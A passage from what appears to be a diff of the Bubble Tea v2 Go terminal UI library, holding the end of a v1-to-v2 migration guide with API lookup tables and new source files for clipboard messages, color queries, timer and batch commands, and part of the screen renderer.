case "q", "ctrl+c":
return m, tea.Quit
case "space":
m.count++
}
case tea.MouseClickMsg:
if msg.Button == tea.MouseLeft {
m.count++
}
}
return m, nil
}
func (m model) View() tea.View {
v := tea.NewView(fmt.Sprintf("Count: %d\n\nSpace or click to increment. q to quit.\n", m.count))
v.AltScreen = true
v.MouseMode = tea.MouseModeCellMotion
return v
}
func main() {
p := tea.NewProgram(model{})
if _, err := p.Run(); err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
```
Notice how the `NewProgram` call got simpler? All the terminal feature flags moved into `View()` where they belong.
## Quick Reference
A flat old → new lookup table. Handy for search-and-replace and LLM-assisted migration.
### Import Paths
| v1 | v2 |
|---|---|
| `github.com/charmbracelet/bubbletea` | `charm.land/bubbletea/v2` |
| `github.com/charmbracelet/lipgloss` | `charm.land/lipgloss/v2` |
### Model Interface
| v1 | v2 |
|---|---|
| `View() string` | `View() tea.View` |
### Key Events
| v1 | v2 |
|---|---|
| `tea.KeyMsg` (struct) | `tea.KeyPressMsg` for presses, `tea.KeyMsg` (interface) for both |
| `msg.Type` | `msg.Code` |
| `msg.Runes` | `msg.Text` (string, not `[]rune`) |
| `msg.Alt` | `msg.Mod.Contains(tea.ModAlt)` |
| `tea.KeyRune` | check `len(msg.Text) > 0` |
| `tea.KeyCtrlC` | `msg.Code == 'c' && msg.Mod == tea.ModCtrl` or `msg.String() == "ctrl+c"` |
| `case " ":` (space) | `case "space":` |
### Mouse Events
| v1 | v2 |
|---|---|
| `tea.MouseMsg` (struct) | `tea.MouseMsg` (interface) — call `.Mouse()` for the data |
| `tea.MouseEvent` | `tea.Mouse` |
| `tea.MouseButtonLeft` | `tea.MouseLeft` |
| `tea.MouseButtonRight` | `tea.MouseRight` |
| `tea.MouseButtonMiddle` | `tea.MouseMiddle` |
| `tea.MouseButtonWheelUp` | `tea.MouseWheelUp` |
| `tea.MouseButtonWheelDown` | `tea.MouseWheelDown` |
| `msg.X`, `msg.Y` (direct) | `msg.Mouse().X`, `msg.Mouse().Y` |
### Options → View Fields
| v1 Option | v2 View Field |
|---|---|
| `tea.WithAltScreen()` | `view.AltScreen = true` |
| `tea.WithMouseCellMotion()` | `view.MouseMode = tea.MouseModeCellMotion` |
| `tea.WithMouseAllMotion()` | `view.MouseMode = tea.MouseModeAllMotion` |
| `tea.WithReportFocus()` | `view.ReportFocus = true` |
| `tea.WithoutBracketedPaste()` | `view.DisableBracketedPasteMode = true` |
### Commands → View Fields
| v1 Command | v2 View Field |
|---|---|
| `tea.EnterAltScreen` / `tea.ExitAltScreen` | `view.AltScreen = true/false` |
| `tea.EnableMouseCellMotion` | `view.MouseMode = tea.MouseModeCellMotion` |
| `tea.EnableMouseAllMotion` | `view.MouseMode = tea.MouseModeAllMotion` |
| `tea.DisableMouse` | `view.MouseMode = tea.MouseModeNone` |
| `tea.HideCursor` / `tea.ShowCursor` | `view.Cursor = nil` / `view.Cursor = &tea.Cursor{...}` |
| `tea.EnableBracketedPaste` / `tea.DisableBracketedPaste` | `view.DisableBracketedPasteMode = false/true` |
| `tea.EnableReportFocus` / `tea.DisableReportFocus` | `view.ReportFocus = true/false` |
| `tea.SetWindowTitle("...")` | `view.WindowTitle = "..."` |
### Removed Options (No Replacement Needed)
| v1 Option | What Happened |
|---|---|
| `tea.WithInputTTY()` | v2 always opens the TTY for input automatically |
| `tea.WithANSICompressor()` | The new renderer handles optimization automatically |
### Removed Program Methods
| v1 Method | v2 Replacement |
|---|---|
| `p.Start()` | `p.Run()` |
| `p.StartReturningModel()` | `p.Run()` |
| `p.EnterAltScreen()` | `view.AltScreen = true` in `View()` |
| `p.ExitAltScreen()` | `view.AltScreen = false` in `View()` |
| `p.EnableMouseCellMotion()` | `view.MouseMode` in `View()` |
| `p.DisableMouseCellMotion()` | `view.MouseMode = tea.MouseModeNone` in `View()` |
| `p.EnableMouseAllMotion()` | `view.MouseMode` in `View()` |
| `p.DisableMouseAllMotion()` | `view.MouseMode = tea.MouseModeNone` in `View()` |
| `p.SetWindowTitle(...)` | `view.WindowTitle` in `View()` |
### Other Renames
| v1 | v2 |
|---|---|
| `tea.Sequentially(...)` | `tea.Sequence(...)` |
| `tea.WindowSize()` | `tea.RequestWindowSize` (now returns `Msg`, not `Cmd`) |
### New Program Options
| Option | Description |
|---|---|
| `tea.WithColorProfile(p)` | Force a specific color profile |
| `tea.WithWindowSize(w, h)` | Set initial window size (great for testing) |
## Feedback
Have thoughts on the v2 upgrade? We'd _love_ to hear about it. Let us know on…
- [Discord](https://charm.land/chat)
- [Matrix](https://charm.land/matrix)
- [Email](mailto:[email protected])
---
Part of [Charm](https://charm.land).
<a href="https://charm.land/"><img alt="The Charm logo" src="https://stuff.charm.land/charm-badge.jpg" width="400"></a>
Charm热爱开源 • Charm loves open source • نحنُ نحب المصادر المفتوحة
+70
View File
@@ -0,0 +1,70 @@
package tea
// ClipboardMsg is a clipboard read message event. This message is emitted when
// a terminal receives an OSC52 clipboard read message event.
type ClipboardMsg struct {
Content string
Selection byte
}
// Clipboard returns the clipboard selection type. This will be one of the
// following values:
//
// - c: System clipboard.
// - p: Primary clipboard (X11/Wayland only).
func (e ClipboardMsg) Clipboard() byte {
return e.Selection
}
// String returns the string representation of the clipboard message.
func (e ClipboardMsg) String() string {
return e.Content
}
// setClipboardMsg is an internal message used to set the system clipboard
// using OSC52.
type setClipboardMsg string
// SetClipboard produces a command that sets the system clipboard using OSC52.
// Note that OSC52 is not supported in all terminals.
func SetClipboard(s string) Cmd {
return func() Msg {
return setClipboardMsg(s)
}
}
// readClipboardMsg is an internal message used to read the system clipboard
// using OSC52.
type readClipboardMsg struct{}
// ReadClipboard produces a command that reads the system clipboard using OSC52.
// Note that OSC52 is not supported in all terminals.
func ReadClipboard() Msg {
return readClipboardMsg{}
}
// setPrimaryClipboardMsg is an internal message used to set the primary
// clipboard using OSC52.
type setPrimaryClipboardMsg string
// SetPrimaryClipboard produces a command that sets the primary clipboard using
// OSC52. Primary clipboard selection is a feature present in X11 and Wayland
// only.
// Note that OSC52 is not supported in all terminals.
func SetPrimaryClipboard(s string) Cmd {
return func() Msg {
return setPrimaryClipboardMsg(s)
}
}
// readPrimaryClipboardMsg is an internal message used to read the primary
// clipboard using OSC52.
type readPrimaryClipboardMsg struct{}
// ReadPrimaryClipboard produces a command that reads the primary clipboard
// using OSC52. Primary clipboard selection is a feature present in X11 and
// Wayland only.
// Note that OSC52 is not supported in all terminals.
func ReadPrimaryClipboard() Msg {
return readPrimaryClipboardMsg{}
}
+91
View File
@@ -0,0 +1,91 @@
package tea
import (
"image/color"
uv "github.com/charmbracelet/ultraviolet"
)
// backgroundColorMsg is a message that requests the terminal background color.
type backgroundColorMsg struct{}
// RequestBackgroundColor is a command that requests the terminal background color.
func RequestBackgroundColor() Msg {
return backgroundColorMsg{}
}
// foregroundColorMsg is a message that requests the terminal foreground color.
type foregroundColorMsg struct{}
// RequestForegroundColor is a command that requests the terminal foreground color.
func RequestForegroundColor() Msg {
return foregroundColorMsg{}
}
// cursorColorMsg is a message that requests the terminal cursor color.
type cursorColorMsg struct{}
// RequestCursorColor is a command that requests the terminal cursor color.
func RequestCursorColor() Msg {
return cursorColorMsg{}
}
// ForegroundColorMsg represents a foreground color message. This message is
// emitted when the program requests the terminal foreground color with the
// [RequestForegroundColor] Cmd.
type ForegroundColorMsg struct{ color.Color }
// String returns the hex representation of the color.
func (e ForegroundColorMsg) String() string {
return uv.ForegroundColorEvent(e).String()
}
// IsDark returns whether the color is dark.
func (e ForegroundColorMsg) IsDark() bool {
return uv.ForegroundColorEvent(e).IsDark()
}
// BackgroundColorMsg represents a background color message. This message is
// emitted when the program requests the terminal background color with the
// [RequestBackgroundColor] Cmd.
//
// This is commonly used in [Update.Init] to get the terminal background color
// for style definitions. For that you'll want to call
// [BackgroundColorMsg.IsDark] to determine if the color is dark or light. For
// example:
//
// func (m Model) Init() (Model, Cmd) {
// return m, RequestBackgroundColor()
// }
//
// func (m Model) Update(msg Msg) (Model, Cmd) {
// switch msg := msg.(type) {
// case BackgroundColorMsg:
// m.styles = newStyles(msg.IsDark())
// }
// }
type BackgroundColorMsg struct{ color.Color }
// String returns the hex representation of the color.
func (e BackgroundColorMsg) String() string {
return uv.BackgroundColorEvent(e).String()
}
// IsDark returns whether the color is dark.
func (e BackgroundColorMsg) IsDark() bool {
return uv.BackgroundColorEvent(e).IsDark()
}
// CursorColorMsg represents a cursor color change message. This message is
// emitted when the program requests the terminal cursor color.
type CursorColorMsg struct{ color.Color }
// String returns the hex representation of the color.
func (e CursorColorMsg) String() string {
return uv.CursorColorEvent(e).String()
}
// IsDark returns whether the color is dark.
func (e CursorColorMsg) IsDark() bool {
return uv.CursorColorEvent(e).IsDark()
}
+175
View File
@@ -0,0 +1,175 @@
package tea
import (
"time"
)
// Batch performs a bunch of commands concurrently with no ordering guarantees
// about the results. Use a Batch to return several commands.
//
// Example:
//
// func (m model) Init() (Model, Cmd) {
// return m, tea.Batch(someCommand, someOtherCommand)
// }
func Batch(cmds ...Cmd) Cmd {
return compactCmds[BatchMsg](cmds)
}
// BatchMsg is a message used to perform a bunch of commands concurrently with
// no ordering guarantees. You can send a BatchMsg with Batch.
type BatchMsg []Cmd
// Sequence runs the given commands one at a time, in order. Contrast this with
// Batch, which runs commands concurrently.
func Sequence(cmds ...Cmd) Cmd {
return compactCmds[sequenceMsg](cmds)
}
// sequenceMsg is used internally to run the given commands in order.
type sequenceMsg []Cmd
// compactCmds ignores any nil commands in cmds, and returns the most direct
// command possible. That is, considering the non-nil commands, if there are
// none it returns nil, if there is exactly one it returns that command
// directly, else it returns the non-nil commands as type T.
func compactCmds[T ~[]Cmd](cmds []Cmd) Cmd {
var validCmds []Cmd
for _, c := range cmds {
if c == nil {
continue
}
validCmds = append(validCmds, c)
}
switch len(validCmds) {
case 0:
return nil
case 1:
return validCmds[0]
default:
return func() Msg {
return T(validCmds)
}
}
}
// Every is a command that ticks in sync with the system clock. So, if you
// wanted to tick with the system clock every second, minute or hour you
// could use this. It's also handy for having different things tick in sync.
//
// Because we're ticking with the system clock the tick will likely not run for
// the entire specified duration. For example, if we're ticking for one minute
// and the clock is at 12:34:20 then the next tick will happen at 12:35:00, 40
// seconds later.
//
// To produce the command, pass a duration and a function which returns
// a message containing the time at which the tick occurred.
//
// type TickMsg time.Time
//
// cmd := Every(time.Second, func(t time.Time) Msg {
// return TickMsg(t)
// })
//
// Beginners' note: Every sends a single message and won't automatically
// dispatch messages at an interval. To do that, you'll want to return another
// Every command after receiving your tick message. For example:
//
// type TickMsg time.Time
//
// // Send a message every second.
// func tickEvery() Cmd {
// return Every(time.Second, func(t time.Time) Msg {
// return TickMsg(t)
// })
// }
//
// func (m model) Init() (Model, Cmd) {
// // Start ticking.
// return m, tickEvery()
// }
//
// func (m model) Update(msg Msg) (Model, Cmd) {
// switch msg.(type) {
// case TickMsg:
// // Return your Every command again to loop.
// return m, tickEvery()
// }
// return m, nil
// }
//
// Every is analogous to Tick in the Elm Architecture.
func Every(duration time.Duration, fn func(time.Time) Msg) Cmd {
n := time.Now()
d := n.Truncate(duration).Add(duration).Sub(n)
t := time.NewTimer(d)
return func() Msg {
ts := <-t.C
t.Stop()
for len(t.C) > 0 {
<-t.C
}
return fn(ts)
}
}
// Tick produces a command at an interval independent of the system clock at
// the given duration. That is, the timer begins precisely when invoked,
// and runs for its entire duration.
//
// To produce the command, pass a duration and a function which returns
// a message containing the time at which the tick occurred.
//
// type TickMsg time.Time
//
// cmd := Tick(time.Second, func(t time.Time) Msg {
// return TickMsg(t)
// })
//
// Beginners' note: Tick sends a single message and won't automatically
// dispatch messages at an interval. To do that, you'll want to return another
// Tick command after receiving your tick message. For example:
//
// type TickMsg time.Time
//
// func doTick() Cmd {
// return Tick(time.Second, func(t time.Time) Msg {
// return TickMsg(t)
// })
// }
//
// func (m model) Init() (Model, Cmd) {
// // Start ticking.
// return m, doTick()
// }
//
// func (m model) Update(msg Msg) (Model, Cmd) {
// switch msg.(type) {
// case TickMsg:
// // Return your Tick command again to loop.
// return m, doTick()
// }
// return m, nil
// }
func Tick(d time.Duration, fn func(time.Time) Msg) Cmd {
t := time.NewTimer(d)
return func() Msg {
ts := <-t.C
t.Stop()
for len(t.C) > 0 {
<-t.C
}
return fn(ts)
}
}
type windowSizeMsg struct{}
// RequestWindowSize is a command that queries the terminal for its current
// size. It delivers the results to Update via a [WindowSizeMsg]. Keep in mind
// that WindowSizeMsgs will automatically be delivered to Update when the
// [Program] starts and when the window dimensions change so in many cases you
// will not need to explicitly invoke this command.
func RequestWindowSize() Msg {
return windowSizeMsg{}
}
+830
View File
@@ -0,0 +1,830 @@
package tea
import (
"bytes"
"fmt"
"image/color"
"io"
"runtime"
"strings"
"sync"
"github.com/charmbracelet/colorprofile"
uv "github.com/charmbracelet/ultraviolet"
"github.com/charmbracelet/x/ansi"
"github.com/lucasb-eyer/go-colorful"
)
type cursedRenderer struct {
w io.Writer
buf bytes.Buffer // updates buffer to be flushed to [w]
scr *uv.TerminalRenderer
cellbuf uv.ScreenBuffer
lastView *View
env []string
term string // the terminal type $TERM
width, height int
mu sync.Mutex
profile colorprofile.Profile
logger uv.Logger
view View
hardTabs bool // whether to use hard tabs to optimize cursor movements
backspace bool // whether to use backspace to optimize cursor movements
mapnl bool
syncdUpdates bool // whether to use synchronized output mode for updates
starting bool // indicates whether the renderer is starting after being stopped
}
var _ renderer = &cursedRenderer{}
func newCursedRenderer(w io.Writer, env []string, width, height int) (s *cursedRenderer) {
s = new(cursedRenderer)
s.w = w
s.env = env
s.term = uv.Environ(env).Getenv("TERM")
s.width, s.height = width, height // This needs to happen before [cursedRenderer.reset].
s.cellbuf = uv.NewScreenBuffer(s.width, s.height)
reset(s)
return
}
// setLogger sets the logger for the renderer.
func (s *cursedRenderer) setLogger(logger uv.Logger) {
s.mu.Lock()
s.logger = logger
s.mu.Unlock()
}
// setOptimizations sets the cursor movement optimizations.
func (s *cursedRenderer) setOptimizations(hardTabs, backspace, mapnl bool) {
s.mu.Lock()
s.hardTabs = hardTabs
s.backspace = backspace
s.mapnl = mapnl
s.scr.SetTabStops(s.width)
s.scr.SetBackspace(s.backspace)
s.scr.SetMapNewline(s.mapnl)
s.mu.Unlock()
}
// start implements renderer.
func (s *cursedRenderer) start() {
s.mu.Lock()
defer s.mu.Unlock()
// Mark that we're starting. This is used to restore some state when
// starting the renderer again after it was stopped.
s.starting = true
if s.lastView == nil {
return
}
if s.lastView.AltScreen {
enableAltScreen(s, true, true)
}
enableTextCursor(s, s.lastView.Cursor != nil)
if s.lastView.Cursor != nil {
if s.lastView.Cursor.Color != nil {
col, ok := colorful.MakeColor(s.lastView.Cursor.Color)
if ok {
_, _ = s.scr.WriteString(ansi.SetCursorColor(col.Hex()))
}
}
curStyle := encodeCursorStyle(s.lastView.Cursor.Shape, s.lastView.Cursor.Blink)
if curStyle != 0 && curStyle != 1 {
_, _ = s.scr.WriteString(ansi.SetCursorStyle(curStyle))
}
}
if s.lastView.ForegroundColor != nil {
col, ok := colorful.MakeColor(s.lastView.ForegroundColor)
if ok {
_, _ = s.scr.WriteString(ansi.SetForegroundColor(col.Hex()))
}
}
if s.lastView.BackgroundColor != nil {
col, ok := colorful.MakeColor(s.lastView.BackgroundColor)
if ok {
_, _ = s.scr.WriteString(ansi.SetBackgroundColor(col.Hex()))
}
}
if !s.lastView.DisableBracketedPasteMode {
_, _ = s.scr.WriteString(ansi.SetModeBracketedPaste)
}
if s.lastView.ReportFocus {
_, _ = s.scr.WriteString(ansi.SetModeFocusEvent)
}
switch s.lastView.MouseMode {
case MouseModeNone:
case MouseModeCellMotion:
_, _ = s.scr.WriteString(ansi.SetModeMouseButtonEvent + ansi.SetModeMouseExtSgr)
case MouseModeAllMotion:
_, _ = s.scr.WriteString(ansi.SetModeMouseAnyEvent + ansi.SetModeMouseExtSgr)
}
if s.lastView.WindowTitle != "" {
_, _ = s.scr.WriteString(ansi.SetWindowTitle(s.lastView.WindowTitle))
}
if s.lastView.ProgressBar != nil {
setProgressBar(s, s.lastView.ProgressBar)
}
// Enable modifyOtherKeys and Kitty keyboard protocol.
// Both can coexist; terminals ignore what they don't support.
_, _ = s.scr.WriteString(ansi.SetModifyOtherKeys2)
kittyFlags := ansi.KittyDisambiguateEscapeCodes
if s.lastView.KeyboardEnhancements.ReportEventTypes {
kittyFlags |= ansi.KittyReportEventTypes
}
_, _ = s.scr.WriteString(ansi.KittyKeyboard(kittyFlags, 1))
}
// close implements renderer.
func (s *cursedRenderer) close() (err error) {
s.mu.Lock()
defer s.mu.Unlock()
// Exit the altScreen and show cursor before closing. It's important that
// we don't change the [cursedRenderer] altScreen and cursorHidden states
// so that we can restore them when we start the renderer again. This is
// used when the user suspends the program and then resumes it.
if lv := s.lastView; lv != nil { //nolint:nestif
// NOTE: The Kitty keyboard specs specify that the terminal should have
// two registries for the main and alt screens. We disable keyboard
// enhancements whenever we enter/exit alt screen mode in
// [cursedRenderer.flush].
// Here, we reset the keyboard protocol of the last screen used
// assuming the other screen is already reset when we switched screens.
_, _ = s.buf.WriteString(ansi.ResetModifyOtherKeys)
_, _ = s.buf.WriteString(ansi.KittyKeyboard(0, 1))
// Go to the bottom of the screen.
// We need to go to the bottom of the screen regardless of whether
// we're in alt screen mode or not to avoid leaving the cursor in the
// middle in terminals that don't support alt screen mode.
s.scr.MoveTo(0, s.cellbuf.Height()-1)
_ = s.scr.Flush() // we need to flush to write the cursor movement
if lv.AltScreen {
enableAltScreen(s, false, true)
} else {
_, _ = s.scr.WriteString(ansi.EraseScreenBelow)
}
if lv.Cursor == nil {
enableTextCursor(s, true)
}
if !lv.DisableBracketedPasteMode {
_, _ = s.scr.WriteString(ansi.ResetModeBracketedPaste)
}
if lv.ReportFocus {
_, _ = s.scr.WriteString(ansi.ResetModeFocusEvent)
}
switch lv.MouseMode {
case MouseModeNone:
case MouseModeCellMotion, MouseModeAllMotion:
_, _ = s.scr.WriteString(ansi.ResetModeMouseButtonEvent +
ansi.ResetModeMouseAnyEvent +
ansi.ResetModeMouseExtSgr)
}
if lv.WindowTitle != "" {
// Clear the window title if it was set.
_, _ = s.scr.WriteString(ansi.SetWindowTitle(""))
}
if lc := lv.Cursor; lc != nil {
curShape := encodeCursorStyle(lc.Shape, lc.Blink)
if curShape != 0 && curShape != 1 {
// Reset the cursor style to default if it was set to something other
// blinking block.
_, _ = s.scr.WriteString(ansi.SetCursorStyle(0))
}
if lc.Color != nil {
_, _ = s.scr.WriteString(ansi.ResetCursorColor)
}
}
if lv.BackgroundColor != nil {
_, _ = s.scr.WriteString(ansi.ResetBackgroundColor)
}
if lv.ForegroundColor != nil {
_, _ = s.scr.WriteString(ansi.ResetForegroundColor)
}
if lv.ProgressBar != nil && lv.ProgressBar.State != ProgressBarNone {
_, _ = s.scr.WriteString(ansi.ResetProgressBar)
}
}
if s.cellbuf.Method == ansi.GraphemeWidth {
// Make sure to turn off Unicode mode (2027)
_, _ = s.scr.WriteString(ansi.ResetModeUnicodeCore)
}
if err := s.scr.Flush(); err != nil {
return fmt.Errorf("bubbletea: error closing screen writer: %w", err)
}
if s.buf.Len() > 0 {
if s.logger != nil {
s.logger.Printf("output: %q", s.buf.String())
}
if _, err := io.Copy(s.w, &s.buf); err != nil {
return fmt.Errorf("bubbletea: error writing to screen: %w", err)
}
s.buf.Reset()
}
x, y := s.scr.Position()
// We want to clear the renderer state but not the cursor position. This is
// because we might be putting the tea process in the background, run some
// other process, and then return to the tea process. We want to keep the
// cursor position so that we can continue where we left off.
reset(s)
s.scr.SetPosition(x, y)
return nil
}
// writeString implements renderer.
func (s *cursedRenderer) writeString(str string) (int, error) {
s.mu.Lock()
defer s.mu.Unlock()
return s.scr.WriteString(str) //nolint:wrapcheck
}
// flush implements renderer.
func (s *cursedRenderer) flush(closing bool) error {
s.mu.Lock()
defer s.mu.Unlock()
view := s.view
frameArea := uv.Rect(0, 0, s.width, s.height)
if len(view.Content) == 0 {
// If the component is nil, we should clear the screen buffer.
frameArea.Max.Y = 0
}
content := uv.NewStyledString(view.Content)
if !view.AltScreen {
// We need to resizes the screen based on the frame height and
// terminal width. This is because the frame height can change based on
// the content of the frame. For example, if the frame contains a list
// of items, the height of the frame will be the number of items in the
// list. This is different from the alt screen buffer, which has a
// fixed height and width.
frameHeight := content.Height()
if frameHeight != frameArea.Dy() {
frameArea.Max.Y = frameHeight
}
}
if !s.starting && !closing && s.lastView != nil && viewEquals(s.lastView, &view) && frameArea == s.cellbuf.Bounds() {
// No changes, nothing to do.
return nil
}
// We're no longer starting.
s.starting = false
if frameArea != s.cellbuf.Bounds() {
s.scr.Erase() // Force a full redraw to avoid artifacts.
// We need to reset the touched lines buffer to match the new height.
s.cellbuf.Touched = nil
// Resize the screen buffer to match the frame area. This is necessary
// to ensure that the screen buffer is the same size as the frame area
// and to avoid rendering issues when the frame area is smaller than
// the screen buffer.
s.cellbuf.Resize(frameArea.Dx(), frameArea.Dy())
}
// Clear our screen buffer before copying the new frame into it to ensure
// we erase any old content.
s.cellbuf.Clear()
content.Draw(s.cellbuf, s.cellbuf.Bounds())
// If the frame height is greater than the screen height, we drop the
// lines from the top of the buffer.
if frameHeight := frameArea.Dy(); frameHeight > s.height {
s.cellbuf.Lines = s.cellbuf.Lines[frameHeight-s.height:]
}
// Alt screen mode.
shouldUpdateAltScreen := (s.lastView == nil && view.AltScreen) || (s.lastView != nil && s.lastView.AltScreen != view.AltScreen)
if shouldUpdateAltScreen {
// We want to enter/exit altscreen mode but defer writing the actual
// sequences until we flush the rest of the updates. This is because we
// control the cursor visibility and we need to ensure that happens
// after entering/exiting alt screen mode. Some terminals have
// different cursor visibility states for main and alt screen modes and
// this ensures we handle that correctly.
enableAltScreen(s, view.AltScreen, false)
}
// bracketed paste mode.
if s.lastView == nil || view.DisableBracketedPasteMode != s.lastView.DisableBracketedPasteMode {
if !view.DisableBracketedPasteMode {
_, _ = s.scr.WriteString(ansi.SetModeBracketedPaste)
} else if s.lastView != nil {
_, _ = s.scr.WriteString(ansi.ResetModeBracketedPaste)
}
}
// report focus events mode.
if s.lastView == nil || s.lastView.ReportFocus != view.ReportFocus {
if view.ReportFocus {
_, _ = s.scr.WriteString(ansi.SetModeFocusEvent)
} else if s.lastView != nil {
_, _ = s.scr.WriteString(ansi.ResetModeFocusEvent)
}
}
// mouse events mode.
if s.lastView == nil || view.MouseMode != s.lastView.MouseMode {
switch view.MouseMode {
case MouseModeNone:
if s.lastView != nil && s.lastView.MouseMode != MouseModeNone {
_, _ = s.scr.WriteString(ansi.ResetModeMouseButtonEvent +
ansi.ResetModeMouseAnyEvent +
ansi.ResetModeMouseExtSgr)
}
case MouseModeCellMotion:
if s.lastView != nil && s.lastView.MouseMode == MouseModeAllMotion {
_, _ = s.scr.WriteString(ansi.ResetModeMouseAnyEvent)
}
_, _ = s.scr.WriteString(ansi.SetModeMouseButtonEvent + ansi.SetModeMouseExtSgr)
case MouseModeAllMotion:
if s.lastView != nil && s.lastView.MouseMode == MouseModeCellMotion {
_, _ = s.scr.WriteString(ansi.ResetModeMouseButtonEvent)
}
_, _ = s.scr.WriteString(ansi.SetModeMouseAnyEvent + ansi.SetModeMouseExtSgr)
}
}
// Set window title.
if s.lastView == nil || view.WindowTitle != s.lastView.WindowTitle {
if s.lastView != nil || view.WindowTitle != "" {
_, _ = s.scr.WriteString(ansi.SetWindowTitle(view.WindowTitle))
}
}
// kitty keyboard protocol
if s.lastView == nil || view.KeyboardEnhancements != s.lastView.KeyboardEnhancements ||
view.AltScreen != s.lastView.AltScreen {
// NOTE: We need to reset the keyboard protocol when switching
// between main and alt screen. This is because the specs specify
// two different states for the main and alt screen.
// Enable modifyOtherKeys and Kitty keyboard protocol.
_, _ = s.scr.WriteString(ansi.SetModifyOtherKeys2)
kittyFlags := ansi.KittyDisambiguateEscapeCodes // always enable basic key disambiguation
if view.KeyboardEnhancements.ReportEventTypes {
kittyFlags |= ansi.KittyReportEventTypes
}
_, _ = s.scr.WriteString(ansi.KittyKeyboard(kittyFlags, 1))
if !closing {
// Request keyboard enhancements when they change
_, _ = s.scr.WriteString(ansi.RequestKittyKeyboard)
}
}
// Set terminal colors.
var (
cc, lcc color.Color
lfg, lbg color.Color
)
if view.Cursor != nil {
cc = view.Cursor.Color
}
if s.lastView != nil {
if s.lastView.Cursor != nil {
lcc = s.lastView.Cursor.Color
}
lfg = s.lastView.ForegroundColor
lbg = s.lastView.BackgroundColor
}
for _, c := range []struct {
newColor color.Color
oldColor color.Color
reset string
setter func(string) string
}{
{newColor: cc, oldColor: lcc, reset: ansi.ResetCursorColor, setter: ansi.SetCursorColor},
{newColor: view.ForegroundColor, oldColor: lfg, reset: ansi.ResetForegroundColor, setter: ansi.SetForegroundColor},
{newColor: view.BackgroundColor, oldColor: lbg, reset: ansi.ResetBackgroundColor, setter: ansi.SetBackgroundColor},
} {
if c.newColor != c.oldColor {
if c.newColor == nil {
// Reset the color if it was set to nil.
_, _ = s.scr.WriteString(c.reset)
} else {
// Set the color.
col, ok := colorful.MakeColor(c.newColor)
if ok {
_, _ = s.scr.WriteString(c.setter(col.Hex()))
}
}
}
}
// Set cursor shape and blink if set.
var ccStyle, lcStyle int
var lcur *Cursor
ccur := view.Cursor
if lv := s.lastView; lv != nil {
lcur = lv.Cursor
}
if ccur != nil {
ccStyle = encodeCursorStyle(ccur.Shape, ccur.Blink)
}
if lcur != nil {
lcStyle = encodeCursorStyle(lcur.Shape, lcur.Blink)
}
if ccStyle != lcStyle {
_, _ = s.scr.WriteString(ansi.SetCursorStyle(ccStyle))
}
// Render progress bar if it's changed.
if (s.lastView == nil && view.ProgressBar != nil && view.ProgressBar.State != ProgressBarNone) ||
(s.lastView != nil && (s.lastView.ProgressBar == nil) != (view.ProgressBar == nil)) ||
(s.lastView != nil && s.lastView.ProgressBar != nil && view.ProgressBar != nil && *s.lastView.ProgressBar != *view.ProgressBar) {
// Render or clear the progress bar if it was added or removed.
setProgressBar(s, view.ProgressBar)
}
// Render and queue changes to the screen buffer.
s.scr.Render(s.cellbuf.RenderBuffer)
if cur := view.Cursor; cur != nil {
// MoveTo must come after [uv.TerminalRenderer.Render] because the
// cursor position might get updated during rendering.
s.scr.MoveTo(view.Cursor.X, view.Cursor.Y)
} else if !view.AltScreen {
// We don't want the cursor to be dangling at the end of the line in
// inline mode because it can cause unwanted line wraps in some
// terminals. So we move it to the beginning of the next line if
// necessary.
// This is only needed when the cursor is hidden because when it's
// visible, we already set its position above.
x, y := s.scr.Position()
if x >= s.width-1 {
s.scr.MoveTo(0, y)
}
}
if err := s.scr.Flush(); err != nil {
return fmt.Errorf("bubbletea: error flushing screen writer: %w", err)
}
// Check if we have any render updates to flush.
hasUpdates := s.buf.Len() > 0
// Cursor visibility.
didShowCursor := s.lastView != nil && s.lastView.Cursor != nil
showCursor := view.Cursor != nil
hideCursor := !showCursor
shouldUpdateCursorVis := (s.lastView == nil || didShowCursor != showCursor) || shouldUpdateAltScreen
// Build final output buffer with synchronized output or hide/show cursor
// updates. But first, enter/exit alt screen mode if needed.
//
// Here, we have two scenarios:
// 1. Synchronized output updates are supported. In this case, we want to
// wrap all updates, unless it's just a cursor visibility change, in
// synchronized output mode. This is because synchronized output mode
// takes care of rendering the updates atomically. In the case of
// just a cursor visibility change, we don't need to enter
// synchronized output mode because it's just a single sequence to
// flush out to the terminal.
//
// 2. We don't have synchronized output updates support. In this case, and
// if the cursor is visible or should be visible, we wrap the updates
// with hide/show cursor sequences to try and mitigate cursor
// flickering. This is terminal dependent and may still result in
// flickering in some terminals. It's the best effort we can do instead
// of showing the cursor flying around the screen during updates.
var buf bytes.Buffer
if shouldUpdateAltScreen {
// We always disable keyboard enhancements when switching screens
// because the terminal is expected to have two different keyboard
// registries for main and alt screens.
_, _ = buf.WriteString(ansi.ResetModifyOtherKeys)
_, _ = buf.WriteString(ansi.KittyKeyboard(0, 1))
if view.AltScreen {
// Entering alt screen mode.
buf.WriteString(ansi.SetModeAltScreenSaveCursor)
} else {
// Exiting alt screen mode.
buf.WriteString(ansi.ResetModeAltScreenSaveCursor)
}
}
if s.syncdUpdates {
if hasUpdates {
// We have synchronized output updates enabled.
buf.WriteString(ansi.SetModeSynchronizedOutput)
}
if shouldUpdateCursorVis && hideCursor {
// Do we need to update the cursor visibility to hidden? If so, do
// it here before writing any updates to the buffer.
_, _ = buf.WriteString(ansi.ResetModeTextCursorEnable)
}
} else if (shouldUpdateCursorVis && hideCursor) || (hasUpdates && showCursor && didShowCursor) {
_, _ = buf.WriteString(ansi.ResetModeTextCursorEnable)
}
if hasUpdates {
buf.Write(s.buf.Bytes())
}
if s.syncdUpdates {
if shouldUpdateCursorVis && showCursor {
// Do we need to update the cursor visibility to visible? If so, do
// it here after writing any updates to the buffer.
_, _ = buf.WriteString(ansi.SetModeTextCursorEnable)
}
if hasUpdates {
// Close synchronized output mode.
buf.WriteString(ansi.ResetModeSynchronizedOutput)
}
} else if (shouldUpdateCursorVis && showCursor) || (hasUpdates && showCursor && didShowCursor) {
_, _ = buf.WriteString(ansi.SetModeTextCursorEnable)
}
// Reset internal screen renderer buffer.
s.buf.Reset()
// If our updates flush buffer has content, write it to the output writer.
if buf.Len() > 0 {
if s.logger != nil {
s.logger.Printf("output: %q", buf.String())
}
if _, err := io.Copy(s.w, &buf); err != nil {
return fmt.Errorf("bubbletea: error flushing update to the writer: %w", err)
}
}
s.lastView = &view
return nil
}
// render implements renderer.
func (s *cursedRenderer) render(v View) {
s.mu.Lock()
defer s.mu.Unlock()
s.view = v
}
// reset implements renderer.
func (s *cursedRenderer) reset() {
s.mu.Lock()
reset(s)
